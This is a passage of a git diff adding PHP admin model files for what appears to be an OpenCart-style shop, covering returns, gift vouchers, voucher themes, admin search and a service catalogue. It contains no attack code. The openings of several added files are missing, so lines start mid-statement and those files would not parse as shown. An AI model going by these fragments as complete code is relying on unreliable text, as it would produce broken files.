+ $query = $this->db->query("SELECT DISTINCT *, (SELECT CONCAT(c.firstname, ' ', c.lastname) FROM " . DB_PREFIX . "customer c WHERE c.customer_id = r.customer_id) AS customer, (SELECT rs.name FROM " . DB_PREFIX . "return_status rs WHERE rs.return_status_id = r.return_status_id AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "') AS return_status FROM `" . DB_PREFIX . "return` r WHERE r.return_id = '" . (int)$return_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReturns($data = array()) {
+ $sql = "SELECT *, CONCAT(r.firstname, ' ', r.lastname) AS customer, (SELECT rs.name FROM " . DB_PREFIX . "return_status rs WHERE rs.return_status_id = r.return_status_id AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "') AS return_status FROM `" . DB_PREFIX . "return` r";
+
+ $implode = array();
+
+ if (!empty($data['filter_return_id'])) {
+ $implode[] = "r.return_id = '" . (int)$data['filter_return_id'] . "'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] = "r.order_id = '" . (int)$data['filter_order_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(r.firstname, ' ', r.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_product'])) {
+ $implode[] = "r.product = '" . $this->db->escape($data['filter_product']) . "'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $implode[] = "r.model = '" . $this->db->escape($data['filter_model']) . "'";
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $implode[] = "r.return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $implode[] = "DATE(r.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'r.return_id',
+ 'r.order_id',
+ 'customer',
+ 'r.product',
+ 'r.model',
+ 'status',
+ 'r.date_added',
+ 'r.date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.return_id";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturns($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return`r";
+
+ $implode = array();
+
+ if (!empty($data['filter_return_id'])) {
+ $implode[] = "r.return_id = '" . (int)$data['filter_return_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(r.firstname, ' ', r.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] = "r.order_id = '" . $this->db->escape($data['filter_order_id']) . "'";
+ }
+
+ if (!empty($data['filter_product'])) {
+ $implode[] = "r.product = '" . $this->db->escape($data['filter_product']) . "'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $implode[] = "r.model = '" . $this->db->escape($data['filter_model']) . "'";
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $implode[] = "r.return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $implode[] = "DATE(r.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnStatusId($return_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnReasonId($return_reason_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnActionId($return_action_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addReturnHistory($return_id, $return_status_id, $comment, $notify) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "return` SET `return_status_id` = '" . (int)$return_status_id . "', date_modified = NOW() WHERE return_id = '" . (int)$return_id . "'");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "return_history` SET `return_id` = '" . (int)$return_id . "', return_status_id = '" . (int)$return_status_id . "', notify = '" . (int)$notify . "', comment = '" . $this->db->escape(strip_tags($comment)) . "', date_added = NOW()");
+ }
+
+ public function getReturnHistories($return_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT rh.date_added, rs.name AS status, rh.comment, rh.notify FROM " . DB_PREFIX . "return_history rh LEFT JOIN " . DB_PREFIX . "return_status rs ON rh.return_status_id = rs.return_status_id WHERE rh.return_id = '" . (int)$return_id . "' AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY rh.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturnHistories($return_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_history WHERE return_id = '" . (int)$return_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnHistoriesByReturnStatusId($return_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_history WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/sale/voucher.php b/public/admin/model/sale/voucher.php
new file mode 100644
index 0000000..97fd867
--- /dev/null
+++ b/public/admin/model/sale/voucher.php
@@ -0,0 +1,103 @@
+db->query("INSERT INTO " . DB_PREFIX . "voucher SET code = '" . $this->db->escape($data['code']) . "', from_name = '" . $this->db->escape($data['from_name']) . "', from_email = '" . $this->db->escape($data['from_email']) . "', to_name = '" . $this->db->escape($data['to_name']) . "', to_email = '" . $this->db->escape($data['to_email']) . "', voucher_theme_id = '" . (int)$data['voucher_theme_id'] . "', message = '" . $this->db->escape($data['message']) . "', amount = '" . (float)$data['amount'] . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editVoucher($voucher_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "voucher SET code = '" . $this->db->escape($data['code']) . "', from_name = '" . $this->db->escape($data['from_name']) . "', from_email = '" . $this->db->escape($data['from_email']) . "', to_name = '" . $this->db->escape($data['to_name']) . "', to_email = '" . $this->db->escape($data['to_email']) . "', voucher_theme_id = '" . (int)$data['voucher_theme_id'] . "', message = '" . $this->db->escape($data['message']) . "', amount = '" . (float)$data['amount'] . "', status = '" . (int)$data['status'] . "' WHERE voucher_id = '" . (int)$voucher_id . "'");
+ }
+
+ public function deleteVoucher($voucher_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher WHERE voucher_id = '" . (int)$voucher_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_history WHERE voucher_id = '" . (int)$voucher_id . "'");
+ }
+
+ public function getVoucher($voucher_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "voucher WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row;
+ }
+
+ public function getVoucherByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "voucher WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getVouchers($data = array()) {
+ $sql = "SELECT v.voucher_id, v.order_id, v.code, v.from_name, v.from_email, v.to_name, v.to_email, (SELECT vtd.name FROM " . DB_PREFIX . "voucher_theme_description vtd WHERE vtd.voucher_theme_id = v.voucher_theme_id AND vtd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS theme, v.amount, v.status, v.date_added FROM " . DB_PREFIX . "voucher v";
+
+ $sort_data = array(
+ 'v.code',
+ 'v.from_name',
+ 'v.to_name',
+ 'theme',
+ 'v.amount',
+ 'v.status',
+ 'v.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY v.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalVouchers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalVouchersByVoucherThemeId($voucher_theme_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getVoucherHistories($voucher_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT vh.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, vh.amount, vh.date_added FROM " . DB_PREFIX . "voucher_history vh LEFT JOIN `" . DB_PREFIX . "order` o ON (vh.order_id = o.order_id) WHERE vh.voucher_id = '" . (int)$voucher_id . "' ORDER BY vh.date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalVoucherHistories($voucher_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher_history WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/voucher_theme.php b/public/admin/model/sale/voucher_theme.php
new file mode 100644
index 0000000..d3dc3c0
--- /dev/null
+++ b/public/admin/model/sale/voucher_theme.php
@@ -0,0 +1,99 @@
+db->query("INSERT INTO " . DB_PREFIX . "voucher_theme SET image = '" . $this->db->escape($data['image']) . "'");
+
+ $voucher_theme_id = $this->db->getLastId();
+
+ foreach ($data['voucher_theme_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+
+ return $voucher_theme_id;
+ }
+
+ public function editVoucherTheme($voucher_theme_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "voucher_theme SET image = '" . $this->db->escape($data['image']) . "' WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ foreach ($data['voucher_theme_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+ }
+
+ public function deleteVoucherTheme($voucher_theme_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ $this->cache->delete('voucher_theme');
+ }
+
+ public function getVoucherTheme($voucher_theme_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vt.voucher_theme_id = '" . (int)$voucher_theme_id . "' AND vtd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getVoucherThemes($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vtd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY vtd.name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $voucher_theme_data = $this->cache->get('voucher_theme.' . (int)$this->config->get('config_language_id'));
+
+ if (!$voucher_theme_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vtd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY vtd.name");
+
+ $voucher_theme_data = $query->rows;
+
+ $this->cache->set('voucher_theme.' . (int)$this->config->get('config_language_id'), $voucher_theme_data);
+ }
+
+ return $voucher_theme_data;
+ }
+ }
+
+ public function getVoucherThemeDescriptions($voucher_theme_id) {
+ $voucher_theme_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ foreach ($query->rows as $result) {
+ $voucher_theme_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $voucher_theme_data;
+ }
+
+ public function getTotalVoucherThemes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher_theme");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/search/search.php b/public/admin/model/search/search.php
new file mode 100644
index 0000000..b0379d4
--- /dev/null
+++ b/public/admin/model/search/search.php
@@ -0,0 +1,87 @@
+config->get('config_language_id') . "'
+ AND ( pd.name LIKE '" . $this->db->escape($data['query']) . "%'
+ OR p.model LIKE '" . $this->db->escape($data['query']) . "%'
+ OR p.sku LIKE '" . $this->db->escape($data['query']) . "%'
+ )
+ GROUP BY p.product_id
+ ORDER BY pd.name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cdpath.name ORDER BY cp.level SEPARATOR ' > ') AS name, cmain.image
+ FROM " . DB_PREFIX . "category_path cp
+ LEFT JOIN " . DB_PREFIX . "category cmain ON (cp.category_id = cmain.category_id)
+ LEFT JOIN " . DB_PREFIX . "category cpath ON (cp.path_id = cpath.category_id)
+ LEFT JOIN " . DB_PREFIX . "category_description cdmain ON (cp.category_id = cdmain.category_id)
+ LEFT JOIN " . DB_PREFIX . "category_description cdpath ON (cp.path_id = cdpath.category_id)
+ WHERE cdpath.language_id = '" . (int)$this->config->get('config_language_id') . "'
+ AND cdmain.language_id = '" . (int)$this->config->get('config_language_id') . "'
+ AND cdmain.name LIKE '%" . $this->db->escape($data['query']) . "%'
+ GROUP BY cp.category_id
+ ORDER BY name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getManufacturers($data = array()) {
+ $sql = "SELECT DISTINCT m.manufacturer_id, m.name, m.image
+ FROM " . DB_PREFIX . "manufacturer m
+ LEFT JOIN " . DB_PREFIX . "manufacturer_description md ON (m.manufacturer_id = m.manufacturer_id)
+ WHERE m.name LIKE '" . $this->db->escape($data['query']) . "%'
+ ORDER BY m.name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomers($data = array()) {
+ $sql = "SELECT customer_id, email, CONCAT(c.firstname, ' ', c.lastname) AS name
+ FROM " . DB_PREFIX . "customer c
+ WHERE c.firstname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR c.email LIKE '" . $this->db->escape($data['query']) . "%'
+ OR c.lastname LIKE '" . $this->db->escape($data['query']) . "%'
+ ORDER BY name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT o.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, o.total, o.currency_code, o.currency_value, o.date_added, o.email
+ FROM `" . DB_PREFIX . "order` o
+ WHERE o.order_status_id > '0'
+ AND (o.order_id = '" . (int)$this->db->escape($data['query']) . "'
+ OR o.firstname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR o.email LIKE '" . $this->db->escape($data['query']) . "%'
+ OR o.lastname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR CONCAT(o.invoice_prefix, o.invoice_no) LIKE '" . $this->db->escape($data['query']) . "%')
+ ORDER BY o.order_id ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/service/service.php b/public/admin/model/service/service.php
new file mode 100644
index 0000000..518ccad
--- /dev/null
+++ b/public/admin/model/service/service.php
@@ -0,0 +1,399 @@
+db->query("INSERT INTO " . DB_PREFIX . "service SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW()");
+
+ $service_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET image = '" . $this->db->escape($data['image']) . "' WHERE service_id = '" . (int)$service_id . "'");
+ }
+
+ foreach ($data['service_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_description SET service_id = '" . (int)$service_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['service_store'])) {
+ foreach ($data['service_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_store SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['service_image'])) {
+ foreach ($data['service_image'] as $service_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_image SET service_id = '" . (int)$service_id . "', image = '" . $this->db->escape($service_image['image']) . "', sort_order = '" . (int)$service_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['service_download'])) {
+ foreach ($data['service_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_download SET service_id = '" . (int)$service_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['service_related'])) {
+ foreach ($data['service_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$service_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$related_id . "' AND related_id = '" . (int)$service_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$related_id . "', related_id = '" . (int)$service_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related_product SET service_id = '" . (int)$service_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['service_seo_url'])) {
+ foreach ($data['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'service_id=" . (int)$service_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['service_layout'])) {
+ foreach ($data['service_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_layout SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ $this->cache->delete('service');
+
+ return $service_id;
+ }
+
+ public function editService($service_id, $data) {
+
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET image = '" . $this->db->escape($data['image']) . "' WHERE service_id = '" . (int)$service_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($data['service_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_description SET service_id = '" . (int)$service_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_store'])) {
+ foreach ($data['service_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_store SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_image'])) {
+ foreach ($data['service_image'] as $service_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_image SET service_id = '" . (int)$service_id . "', image = '" . $this->db->escape($service_image['image']) . "', sort_order = '" . (int)$service_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_download'])) {
+ foreach ($data['service_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_download SET service_id = '" . (int)$service_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE related_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_related'])) {
+ foreach ($data['service_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$service_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$related_id . "' AND related_id = '" . (int)$service_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$related_id . "', related_id = '" . (int)$service_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related_product SET service_id = '" . (int)$service_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ if (isset($data['service_seo_url'])) {
+ foreach ($data['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'service_id=" . (int)$service_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_layout'])) {
+ foreach ($data['service_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_layout SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('service');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function editServiceStatus($service_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET status = '" . (int)$status . "', date_modified = NOW() WHERE service_id = '" . (int)$service_id . "'");
+
+ $this->cache->delete('service');
+
+ return $service_id;
+ }
+
+ public function copyService($service_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE p.service_id = '" . (int)$service_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['service_description'] = $this->getServiceDescriptions($service_id);
+ $data['service_image'] = $this->getServiceImages($service_id);
+ $data['service_related'] = $this->getServiceRelated($service_id);
+ $data['product_related'] = $this->getProductRelated($service_id);
+ $data['service_download'] = $this->getServiceDownloads($service_id);
+ $data['service_layout'] = $this->getServiceLayouts($service_id);
+ $data['service_store'] = $this->getServiceStores($service_id);
+
+ $this->addService($data);
+ }
+ }
+
+ public function deleteService($service_id) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE related_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ $this->cache->delete('service');
+
+ }
+
+ public function getService($service_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE p.service_id = '" . (int)$service_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
